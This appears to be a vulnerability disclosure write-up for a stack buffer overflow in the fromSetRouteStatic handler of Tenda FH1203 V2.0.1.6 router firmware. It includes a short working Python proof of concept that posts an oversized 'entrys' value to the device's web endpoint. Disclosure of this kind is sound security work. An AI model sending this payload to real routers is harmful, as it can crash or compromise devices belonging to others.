Skip to content

Latest commit

 

History

History
34 lines (21 loc) · 1.2 KB

fromSetRouteStatic.md

File metadata and controls

34 lines (21 loc) · 1.2 KB

Overview

Affected version

FH1203 V2.0.1.6

Vulnerability details

The Tenda FH1203 V2.0.1.6 firmware has a stack overflow vulnerability in the fromSetRouteStatic function. The v5 variable receives the entrys parameter from a POST request and is used in statement sprintf(v15, "%s;%s", v12, (const char *)v14);, which caused the buffer overflow attack.

image-20240320013608990

image-20240320013512469

image-20240320013520019

The user-provided entrys can trigger this security vulnerability.

POC

import requests

IP = "192.168.84.101"
url = f"http://{IP}/goform/fromRouteStatic"
payload = b'a'*1000
data = {"entrys": payload}
response = requests.post(url, data=data)
print(response.text)

image-20240320013432318